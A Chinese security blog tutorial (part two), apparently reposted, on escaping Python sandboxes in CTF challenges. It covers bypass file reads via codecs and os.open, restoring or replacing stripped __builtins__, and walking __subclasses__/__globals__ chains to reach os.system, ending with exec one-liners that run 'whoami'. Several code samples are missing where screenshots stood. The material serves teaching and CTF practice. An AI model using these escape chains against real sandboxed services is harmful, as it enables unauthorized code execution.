从沙盒逃逸看Python黑科技(下篇)

admin 2026-05-02 05:58:39 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文深入探讨Python沙盒逃逸技术,重点介绍文件读取的多种绕过方法(如codecs、os.open等模块)、利用builtins内置模块执行命令的技巧,以及通过对象继承链(classsubclasses等)获取敏感函数引用的高级手法。文章结合CTF实战案例,为安全研究人员提供绕过沙箱限制的可操作方案。 综合评分: 76 文章分类: CTF,WEB安全,渗透测试,代码审计,漏洞分析


cover_image

从沙盒逃逸看Python黑科技(下篇)

原创

七夜安全 七夜安全

七夜安全博客

2020年7月5日 22:28

在小说阅读器读本章

去阅读

阅读本文大概需要 5 分钟。

 ”

   2020年 第20篇文章 ,flag 继续

每周至少更一篇

前言

本周发的有点晚了,本来周三发的,有点生病,就拖到现在了,希望大家见谅。接着上一篇的内容,讲解一下Python中的黑科技。如果大家想回顾上文,可以点下面的链接:

从沙盒逃逸看Python黑科技(上篇)

大家如果喜欢我的分享,一定要点在看和分享到朋友圈。现在公众号是信息流模式,对于无法天天更新的原创号来说是不利的,希望大家能与我一起坚持下去。

有你们的坚持,才有更好的世界。

下面是我的微信号,想进行技术交流的可以加我,备注公众号,卖货的,伸手党不要加我,谢谢。

一.回顾

理理思路

在上一篇文章中,我总结了Python沙箱逃逸这道CTF题涉及的主要知识点 ,其中上篇讲解了其中两个,本篇继续。

  1. Python 如何导包
  2. Python 如何执行代码和命令
  3. Python 文件读取
  4. 内置模块
  5. 对象创建与引用

二.Python 文件读取

实践出真知

本节主要介绍Python文件读取,为什么要介绍这个呢?主要是因为沙箱是黑盒的,如果我们能读取当前正在运行脚本的内容,对我们的帮助会非常大。上文介绍的单文件沙箱,我们可以通过读取__file__****来获取内容,查看对应的过滤规则。

初级

对于python文件读取,大家比较熟悉的是open 或者file 函数:

(1) open (py2,py3)

1. open(__file__).read()

(2) file (py2)

1. file(__file__).read()

这些常见的函数,在沙箱中一般会被禁用掉,我们需要挖掘更多文件的读取的方式

高级

(1) codecs 模块 (py2,py3)

1. import codecs
2. codecs.open(__file__).read()

(2) types 模块 (py2)

1. import types
2. types.FileType(__file__,"r").read()

(3) os.open (py2,py3)

1. import os
2. fd = os.open(__file__, os.O_RDONLY)
3. print(os.read(fd,1024))

(4) file:/// 伪协议

py3:

py2:

(5) fileinput 模块

(5) ctypes 模块

三.内置模块

#

如果沙箱不让我们导入外部模块,或者是要导入的模块被禁用,那我们只能求助于Python的内部模块__builtins__****( 即Python 本身默认已经导入模块中的函数)。

dir内置函数可以列出一个模块/类/对象下面所有的属性和函数,查看一下__builtins__中的函数:

1. >> dir(__builtins__)
2. [['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BlockingIOError', 'BrokenPipeError', 'BufferError', 'BytesWarning', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionError', 'ConnectionRefusedError', 'ConnectionResetError', 'DeprecationWarning', 'EOFError',
   , ....]

为什么dir可以查看__builtins__ 函数呢?本质上是每个模块/类/对象/ 有一个__dict__ 字段,通过遍历 __dict__ 得到里面包含的属性和函数。

例如,我们可以引用__import__ 来导入os,并执行命令:

导入的函数,模块都变成字符串模式时,所有的静态检测手段都会失效,因为我们可以通过各种编码手段进行混淆。

由于内置模块中的危险函数过多,比如eval,exec等,导致上文使用的沙箱对__builtins__进行了处理,通过 del 关键字将里面的所有函数引用都删除了。

1. del __builtins__.__dict__['xxx']

如果保留reload内置函数,我们还可以通过 reload( __builtins__) 恢复,但是现在通过__builtins__来进行逃逸已经不现实了。

#

对象创建与引用

在上一节中,不知道大家有没有注意到 我说的一句话:

上文沙箱将__builtins__中的所有函数引用都删除

删除的是只是函数引用,而不是函数本身,如果你们熟悉C语言的话,函数引用可以理解为函数指针,既然__builtins__中的引用没了,那我们就需要从其他地方找到敏感函数的引用,从而实现逃逸。

在Python中一切皆是对象,比如常见的 “”,[],(),{} ,我们可以使用type函数查看他们的类型:

1. >>> type("")
2. <type 'str'>
3. >>> type([])
4. <type 'list'>
5. >>> type(())
6. <type 'tuple'>
7. >>> type({})
8. <type 'dict'>
9. >>> type(1)
10. <type 'int'>
11. >>> type(1.1)
12. <type 'float'>

我们可以通过这些Python 内置类型的继承链来寻找更多的引用,以下字段是寻找继承链的关键:

  • __class__ :返回一个实例所属的类
  • __bases__ :返回一个类直接所继承的类(元组形式)
  • __mro__ :列出解析方法的调用顺序
  • __subclasses__():返回子类列表
  • __dict__ :列出当前属性/函数的字典
  • func_globals:返回一个包含函数全局变量的字典引用 (python2)
  • __globals__:返回一个当前空间下能使用的模块,方法和变量的字典 (python2,python3)

其中 __bases__ 和__mro__ 类似的,用来寻找父类,__subclasses__()用来寻找子类。示例如下:

1. >>> [].__class__.__bases__
2. (<type 'object'>,)
3. >>> [].__class__.__mro__
4. (<type 'list'>, <type 'object'>)
5. >>> [].__class__.__mro__[-1].__subclasses__()
6. [<<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>,

假如我们想在Python3中调用os模块中system方法,而不用 import os ,就可以采用这种方式:

但是大家可能会发现,这么多的类哪些 符合要求呢?给大家一个小脚本,遍历出os模块的引用:

结果如下:

1. (72, <class 'site._Printer'>, 'os', <module 'os' from 'D:\anaconda2\lib\os.pyc'>, <module 'os' from 'D:\anaconda2\lib\os.pyc'>)

3. (77, <class 'site.Quitter'>, 'os', <module 'os' from 'D:\anaconda2\lib\os.pyc'>, <module 'os' from 'D:\anaconda2\lib\os.pyc'>)

5. (98, <class 'socket._socketobject'>, 'os', <module 'os' from 'D:\anaconda2\lib\os.pyc'>, <module 'os' from 'D:\anaconda2\lib\os.pyc'>)

8. (99, <class 'socket._fileobject'>, 'os', <module 'os' from 'D:\anaconda2\lib\os.pyc'>, <module 'os' from 'D:\anaconda2\lib\os.pyc'>)

如果想寻找其他模块,例如 sys,__builtins__, 都可以往代码中列表中添加。

还有一种是利用builtin_function_or_method 的 __call__,找到对应的序号:

使用exec执行:

1. [].__class__.__mro__[-1].__subclasses__()[34].__call__(exec, 'import os;os.system("whoami")')

4. [].__getattribute__('append').__class__.__call__(exec, 'import os;os.system("whoami")')

最后

下篇敬请期待,代码的排版还得优化一下,有点乱,只能截图代替了。

原创不易,希望大家能积极分享点在看

推荐阅读

不一样的 “反弹Shell” 系统剖析

HW : Cobalt Strike 应该这样学

WebShell通用免杀的思考

WebShell “干掉” RASP

无文件执行:一切皆是shellcode (中)

无文件执行:一切皆是shellcode (上)

linux无文件执行— fexecve 揭秘

沙盒syscall监控组件:strace and wtrace

无”命令”反弹shell-逃逸基于execve的命令监控(上)

APT组织武器:MuddyC3泄露代码分析

Python RASP 工程化:一次入侵的思考

教你学木马攻防 | 隧道木马 | 第一课

如果大家喜欢这篇文章的话,请不要吝啬分享到朋友圈,并置顶公众号。

关注公众号:七夜安全博客

回复【11】:领取Sandboxie源码

  • 回复【1】:领取 Python数据分析 教程大礼包
  • 回复【2】:领取 Python Flask 全套教程
  • 回复【3】:领取 某学院 机器学习 教程
  • 回复【4】:领取 爬虫 教程
  • 回复【5】:领取编译原理 教程
  • 回复【6】:领取渗透测试教程
  • 回复【7】:领取人工智能数学基础
  • 回复【8】:领取 python神经网络 教程
  • 回复【9】:领取 安卓逆向 教程

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:七夜安全博客 七夜安全 七夜安全《从沙盒逃逸看Python黑科技(下篇)》

评论:0   参与:  0